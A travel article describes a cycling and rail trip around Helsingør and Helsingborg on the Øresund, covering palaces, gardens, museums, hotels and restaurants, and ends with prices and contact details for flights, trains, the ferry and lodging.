In the opposite direction, we biked to Sofiero Palace, an ivy-clad Renaissance pile used as a royal holiday home in the 1900s, but now open to the public.

Princess Margareta – the Surrey-born wife of Prince Gustav Adolf – borrowed ideas from Kew Gardens to create a private magical retreat to enjoy there with her husband and their four children.

You can stroll through acres of colourful flowerbeds, walk under rose arches and admire slide-rule hedges and beautifully-named features such as Queen Sylvia’s flower jewel.

There are mini-ravines filled with rhododendrons and a green and peaceful hillock where you can gaze into the distance across the Øresund to Kronborg Castle.

In fact, I can’t help thinking Prince Fred of Denmark should have spent some time here – it would have made him a nicer person.

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Kyhn’s, lovingly created from a former wine store and two minutes’ walk from the railway station and harbour.

It only has six rooms but they are big, light and airy, with whitewashed walls, painted wooden floorboards and pretty houseplants. 

Each boasts a kitchen and sitting room.

Out front is a coffee shop, playing jazz and selling cakes, pastries and Smørrebrød (rye bread) open sandwiches as well as a courtyard to enjoy those balmy Scandinavian summers. 

Helsingør is a handy base to explore the wider North Sealand region by the cheap, effi cient rail service, or bike – across reassuringly fl at countryside. 

We took a 30-minute train trip to Fredensborg Palace, the spring and autumn retreat of Queen Margrethe II and late husband Prince Henrik, which opens to the public in summer.

Dubbed the Danish Versailles, the white baroque-style palace sits on beautiful Lake Esrum and has six miles of paths wending their way through 300 acres of lush garden. 

Nearby is the Skipperhuset, an elegant eaterie on the lake shore.

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Our Danish sojourn ended at Louisiana Museum of Modern Art, home to Picassos, Warhols and Hockneys and offering awesome views across the Øresund. 

In Sweden, reached by ferry, we went cycling out of Helsingborg along a seafront to rival Brazil’s Ipanema or Copacabana Beach. 

The strip of white sand stretched away into the distance and palms swayed lazily in the breeze. 

Thankfully, the autumn weather was too cool for lovers of that skimpy Brazilian swimwear. 

Helsingborg is on the “Swedish Riviera”, an under-explored stretch of coastline with nearly 25 miles of stunning beaches. 

You can swim, fi sh, sunbathe, take a boat trip, or walk or cycle along miles of wooden decking or uninterrupted cycle path. 

There are great beachside cafes and restaurants dotted along the way. 

Sillen & Makrillen, a slick, wood-and-glass construction, a 15-minute walk out of town had us raving. 

For about £100 all-in, I enjoyed trout with radish followed by butter-fried cod. 

Jayne had shrimps on dark bread, with cauliflower cream and truffle cabbage. 

Although Helsingborg is bigger and busier than Helsingør, there is still a pretty old town, centred around Karnan, a 700-year-old keep. 

We stayed nearby in the enigmatically-named “V”, a boutique hotel which mixes period decor with quirky modern. 

Four-poster beds come alongside table lamps shaped like lion’s-head door knockers. 

From there, we cycled easily to Fredriksdal, a 19th-century manor house converted into a working farm museum – all thatched barns and windmills, heavy horses and “rare breed” cows and sheep.

In the opposite direction, we biked to Sofiero Palace, an ivy-clad Renaissance pile used as a royal holiday home in the 1900s, but now open to the public. Princess Margareta – the Surrey-born wife of Prince Gustav Adolf – borrowed ideas from Kew Gardens to create a private magical retreat to enjoy there with her husband and their four children. 

You can stroll through acres of colourful flowerbeds, walk under rose arches and admire slide-rule hedges and beautifully-named features such as Queen Sylvia’s flower jewel. 

There are mini-ravines filled with rhododendrons and a green and peaceful hillock where you can gaze into the distance across the Øresund to Kronborg Castle. In fact, I can’t help thinking Prince Fred of Denmark should have spent some time here – it would have made him a nicer person. 

Norwegian (0330 828 0854/ norwegian.com) offers return flights from London Gatwick to Copenhagen from £25.

Trains (rejseplanen.dk) from Copenhagen to Helsingør £14 one way.

Ferry (scandlines. com) across the sound, £5 one way.

Kyhn’s Guesthouse (dialling from the UK: 00 45 71 70 84 82/kyhnsgaestehus.dk) offers doubles from £125, B&B. V Hotel (42 14 44 20/vhotel.se) offers doubles from £120, B&B. Norway tourism: visitnorway. com. Sweden tourism: visitsweden.com

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